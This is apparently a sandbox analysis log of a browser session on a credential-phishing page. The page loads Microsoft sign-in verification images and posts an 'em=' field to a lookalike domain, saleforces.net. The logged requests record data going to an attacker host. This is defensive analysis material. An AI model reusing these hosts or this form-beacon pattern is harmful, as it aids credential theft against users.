66 6f 72 65 20 7b 0a 20 20 63 Data Ascii: humbs-o-up:before { content: "\f087";}.fa-thumbs-o-down:before { content: "\f088";}.fa-star-half:before { content: "\f089";}.fa-heart-o:before { content: "\f08a";}.fa-sign-out:before { content: "\f08b";}.fa-linkedin-square:before { c
2024-04-18 20:48:41 UTC	1369	IN	Data Raw: 61 36 22 3b 0a 7d 0a 2e 66 61 2d 68 61 6e 64 2d 6f 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 37 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 38 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 39 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 75 70 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 61 61 22 3b 0a 7d 0a 2e 66 61 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 Data Ascii: a6";}.fa-hand-o-down:before { content: "\f0a7";}.fa-arrow-circle-left:before { content: "\f0a8";}.fa-arrow-circle-right:before { content: "\f0a9";}.fa-arrow-circle-up:before { content: "\f0aa";}.fa-arrow-circle-down:before { content: "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49741	13.107.246.41	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:43 UTC	684	OUT	GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:43 UTC	784	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:43 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374CE7F93 x-ms-request-id: 85adcb71-e01e-0010-53a9-9155bc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240418T204843Z-r1f585c6b654jmm7xyrapwaprg00000005ng000000009mg5 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-18 20:48:43 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49742	13.107.246.41	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:43 UTC	685	OUT	GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:43 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:43 GMT Content-Type: image/svg+xml Content-Length: 1173 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B83749623C9 x-ms-request-id: a846a96d-f01e-0035-2ba9-914385000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240418T204843Z-15497cdd9fdvvnjrae0rt7dxmw00000000rg0000000017wz x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-18 20:48:43 UTC	1173	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 56 cb 6e 24 37 0c fc 95 c1 e4 da ad 69 52 d4 2b b0 0d 4c 4e 39 ac 6f 41 0e b9 35 b2 b3 1e 03 8e bd b3 6e 78 f6 f3 53 14 a5 de 6c dc 86 dd 25 5b d4 83 2a 16 29 dd bc be 3d ec be ff f3 f4 fc 7a bb 3f 2f cb d7 5f 0f 87 eb f5 ea ae de bd 7c 7b 38 f0 34 4d 07 8c d8 ef ae 8f 9f 97 f3 ed 5e f2 7e 77 3e 3d 3e 9c 17 fb fb ed f1 74 fd ed e5 fb ed 7e da 4d 3b c9 f8 dd df dd 2c 8f cb d3 e9 6e 7e 7d 3d 2d af 37 07 fb ef e6 db e9 ef e5 a3 55 be 3c 3e 3d dd ee 9f 5f 9e 4f fb c3 dd cd d7 79 39 ef 3e df ee ef fd e4 84 79 e0 e2 a6 c2 b3 77 52 fc 60 38 e1 87 06 72 9e c5 71 24 f4 fa dc b1 db c8 b3 4b 52 2e ce c7 58 bf cc c9 a5 14 16 57 a4 b8 1c e4 e2 24 67 27 22 e8 20 57 3c cf c5 95 24 83 a1 2d e3 32 95 81 8e 18 12 68 30 34 83 4f 83 17 97 7c Data Ascii: uVn$7iR+LN9oA5nxSl%[*)=z?/_\|{84M^~w>=>t~M;,n~}=-7U<>=_Oy9>ywR`8rq$KR.XW$g'" W<$-2h04O\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49744	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:43 UTC	411	OUT	GET /hosuyyuiuyt/72dae30.php HTTP/1.1 Host: www.saleforces.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9scqo67nnhhjl7pcg1sei2b889
2024-04-18 20:48:43 UTC	471	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:48:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:48:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49740	13.107.246.41	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:43 UTC	701	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:43 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:43 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 11 Mar 2022 11:11:29 GMT ETag: 0x8DA034FE445C10D x-ms-request-id: 7046efac-401e-0036-21b7-913e83000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240418T204843Z-15497cdd9fd9tzt6x86613kfpg00000000tg000000003t86 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-18 20:48:43 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49745	13.107.246.41	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:44 UTC	422	OUT	GET /shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:44 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:44 GMT Content-Type: image/svg+xml Content-Length: 1173 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B83749623C9 x-ms-request-id: a846a96d-f01e-0035-2ba9-914385000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240418T204844Z-15497cdd9fdjvlbfxhrrthhyb000000000xg000000009ppv x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-18 20:48:44 UTC	1173	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 56 cb 6e 24 37 0c fc 95 c1 e4 da ad 69 52 d4 2b b0 0d 4c 4e 39 ac 6f 41 0e b9 35 b2 b3 1e 03 8e bd b3 6e 78 f6 f3 53 14 a5 de 6c dc 86 dd 25 5b d4 83 2a 16 29 dd bc be 3d ec be ff f3 f4 fc 7a bb 3f 2f cb d7 5f 0f 87 eb f5 ea ae de bd 7c 7b 38 f0 34 4d 07 8c d8 ef ae 8f 9f 97 f3 ed 5e f2 7e 77 3e 3d 3e 9c 17 fb fb ed f1 74 fd ed e5 fb ed 7e da 4d 3b c9 f8 dd df dd 2c 8f cb d3 e9 6e 7e 7d 3d 2d af 37 07 fb ef e6 db e9 ef e5 a3 55 be 3c 3e 3d dd ee 9f 5f 9e 4f fb c3 dd cd d7 79 39 ef 3e df ee ef fd e4 84 79 e0 e2 a6 c2 b3 77 52 fc 60 38 e1 87 06 72 9e c5 71 24 f4 fa dc b1 db c8 b3 4b 52 2e ce c7 58 bf cc c9 a5 14 16 57 a4 b8 1c e4 e2 24 67 27 22 e8 20 57 3c cf c5 95 24 83 a1 2d e3 32 95 81 8e 18 12 68 30 34 83 4f 83 17 97 7c Data Ascii: uVn$7iR+LN9oA5nxSl%[*)=z?/_\|{84M^~w>=>t~M;,n~}=-7U<>=_Oy9>ywR`8rq$KR.XW$g'" W<$-2h04O\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49747	13.107.246.41	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:44 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_27a6d18b56f46818420e60a773c36d4e.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:44 UTC	805	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:44 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374CE7F93 x-ms-request-id: 85adcb71-e01e-0010-53a9-9155bc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240418T204844Z-r1f585c6b654lfdz8btpvqgdt800000007q000000000908u x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-18 20:48:44 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49746	13.107.246.41	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:48:44 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:48:44 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 20:48:44 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 11 Mar 2022 11:11:29 GMT ETag: 0x8DA034FE445C10D x-ms-request-id: 7046efac-401e-0036-21b7-913e83000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240418T204844Z-15497cdd9fd4wmvqhywnewwfen00000000rg000000005kcs x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-18 20:48:44 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49751	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:49:01 UTC	709	OUT	POST /hosuyyuiuyt/72dae30.php HTTP/1.1 Host: www.saleforces.net Connection: keep-alive Content-Length: 3 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:49:01 UTC	3	OUT	Data Raw: 65 6d 3d Data Ascii: em=
2024-04-18 20:49:02 UTC	529	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:49:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=mpdeed50r8e8da6tq2k7igjopg; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:49:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49752	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:49:02 UTC	411	OUT	GET /hosuyyuiuyt/72dae30.php HTTP/1.1 Host: www.saleforces.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9scqo67nnhhjl7pcg1sei2b889
2024-04-18 20:49:03 UTC	471	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:49:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49755	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:49:23 UTC	709	OUT	POST /hosuyyuiuyt/72dae30.php HTTP/1.1 Host: www.saleforces.net Connection: keep-alive Content-Length: 3 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 20:49:23 UTC	3	OUT	Data Raw: 65 6d 3d Data Ascii: em=
2024-04-18 20:49:23 UTC	529	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:49:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=jfff3e0abf7qdfdoa2tu08p10g; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:49:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49756	85.31.237.222	443	6604	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 20:49:24 UTC	411	OUT	GET /hosuyyuiuyt/72dae30.php HTTP/1.1 Host: www.saleforces.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9scqo67nnhhjl7pcg1sei2b889
2024-04-18 20:49:24 UTC	471	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 18 Apr 2024 20:49:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS Strict-Transport-Security: max-age=31536000
2024-04-18 20:49:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:48:16
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	22:48:19
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
